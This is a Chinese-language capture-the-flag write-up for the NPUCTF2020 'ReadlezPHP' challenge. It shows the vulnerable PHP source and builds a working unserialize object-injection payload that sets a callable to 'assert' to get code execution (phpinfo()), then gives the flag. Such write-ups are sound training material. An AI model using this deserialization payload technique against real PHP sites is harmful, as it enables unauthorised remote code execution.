[NPUCTF2020]ReadlezPHP

m1saka1發表於2024-11-09

開啟靶機,看看情況

右鍵想看原始碼沒反應,關掉設定裡的JavaScript即可檢視原始碼

點進去看看發現原始碼

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

類裡有兩個魔術方法,很貼心已經幫你建立好了這個類,所以不用看__construct()函式,剩下的__destruct()函式就是對類裡的a,b屬性進行賦值,利用點 $b($a),這格式很明顯,b傳一個執行函式,a傳命令,不過這裡值得注意,eval()函式括號裡必須是雙引號,形如eval(phpinfo())是不合法的,所以這裡我們可以用另一個執行函式assert(),assert()函式會執行括號裡的命令,形如assert(phpinfo())是合法的。

我們構建反序列化語句

<?php
class HelloPhp
{
    public $a='phpinfo()';
    public $b='assert';

}
$c = new HelloPhp;
echo(serialize($c));

得到payload:?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}


這裡找了半天flag,查了下資料才發現flag就在phpinfo裡,cltr+f搜尋flag得到flag

flag{a484fcf9-e915-45a7-a096-eec42e079686}

相關文章